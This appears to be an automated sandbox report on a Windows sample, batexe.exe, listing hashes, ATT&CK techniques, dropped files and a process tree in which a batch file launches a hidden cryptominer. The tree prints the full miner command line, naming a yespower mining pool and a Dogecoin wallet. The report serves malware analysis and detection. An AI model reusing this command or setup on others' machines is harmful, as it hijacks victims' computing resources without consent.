73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
300s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
19/02/2024, 13:45

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
3736	b2e.exe
5940	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
5940	cpuminer-sse2.exe
5940	cpuminer-sse2.exe
5940	cpuminer-sse2.exe
5940	cpuminer-sse2.exe
5940	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1956-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1956 wrote to memory of 3736	1956	batexe.exe	85
PID 1956 wrote to memory of 3736	1956	batexe.exe	85
PID 1956 wrote to memory of 3736	1956	batexe.exe	85
PID 3736 wrote to memory of 3116	3736	b2e.exe	86
PID 3736 wrote to memory of 3116	3736	b2e.exe	86
PID 3736 wrote to memory of 3116	3736	b2e.exe	86
PID 3116 wrote to memory of 5940	3116	cmd.exe	89
PID 3116 wrote to memory of 5940	3116	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1956
- C:\Users\Admin\AppData\Local\Temp\6419.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\6419.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6419.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3736
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6726.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3116
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5940

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\6419.tmp\b2e.exe

Filesize
14.9MB

MD5
23ae93b737572b7a3f77fa3e1fe6e089

SHA1
2adfe683db7e24c084fc629593bd90bec1c86b3d

SHA256
7bc4e8256bbbb19ade790be9696c0033a040f10410ccbf50106eb485dba9d06c

SHA512
1ca03ea738ef15acd2a5047ba91d9c850ffc5a92a9d32e6013045016804f273af8b04c75985716b79db76791620bde657131f6cb351143a77077b9f33e6e3e3c

Download Submit
C:\Users\Admin\AppData\Local\Temp\6419.tmp\b2e.exe

Filesize
5.8MB

MD5
dfdba14422f999c3604531c3028e98e9

SHA1
416daee404dfa02176f97e00c789ab26ed65bb5c

SHA256
c5e28fcf7e451e13b6a54af7a8571182ce1cc084719547f111038e3dc4b7c401

SHA512
45ee7754c0019a2931d6b314d748fd1d04203f47f079a2df61b731b80a67ff33f7a018c05893010a7916cd0ae8f56982d74ed32cf1404ef3fe3fee648a40af84

Download Submit
C:\Users\Admin\AppData\Local\Temp\6419.tmp\b2e.exe

Filesize
5.7MB

MD5
bf5d2c1bed482fab9212867aede8e958

SHA1
9c128afd41ae20ccd3436e76684c0fa2c7919859

SHA256
20c2de0bf8c5c46e04d1e064be896b93b8cc892069515e18bc1fe73a68e4f10e

SHA512
84e74ff54120d85fe9252dcd11b138490fd8709addf3f246ea88528fa32c78b74adb980935e6ac7768ef2739eba05bb6eb5735c2b541fea218e0072a97ef2a60

Download Submit
C:\Users\Admin\AppData\Local\Temp\6726.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.8MB

MD5
3e4789a939015e74c4a3f6078febb0ed

SHA1
8f99ea9db75bbabcdb8a1fb752f0dc68eaa190e2

SHA256
18396e3014245f6fe4d3f4f62eb2f5ffea3a47098e6cd63337c8eb532d24f717

SHA512
b5edb8e6ec7ec4f32cecb5c2350fa0b0ec211bb737a07c214365e5f1e8673d8c2082311c76e40469fdf3a4dc2399c67a8dd04e057855b1713dc91c942640a61c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.0MB

MD5
e667588edd4f9b0841859cf9e4503f8c

SHA1
4b058fa6c0660cdc22d494479d048c54a4841d5a

SHA256
27f6873d4622ba283ff7cf312c01c55f937cc1023e72524261e34abec1b2672a

SHA512
cad5cc287470338183e6c03d648409e5d3643b311d3059f6de84adab86863ca47b948dc2d57492def009591ed538e2af8ed6a43e5c971fec51ec5065593c98ca

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
5.6MB

MD5
8244fcacbb95ceb7bd948dbd07018e14

SHA1
3cc1e76f69e429be51deb610a7d4ec8896080d2c

SHA256
21fd6ceb912b128d9413faa6f392b313ff4b7fb2c4ecc30963d20e19906425e1

SHA512
20cb9b8d3288a0916edd0ca692f6f607ed29a0978cd62f53a42ac8bcb7ffe12e8ef832ae3ad7c3c0fb323ddd80471940a581bc95af38d7eecb136c8698feddff

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1956-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3736-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3736-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5940-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/5940-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/5940-46-0x0000000055450000-0x00000000554E8000-memory.dmp

Filesize
608KB

Download
memory/5940-47-0x0000000001030000-0x00000000028E5000-memory.dmp

Filesize
24.7MB

Download
memory/5940-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5940-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5940-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5940-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5940-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5940-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5940-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5940-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5940-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5940-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download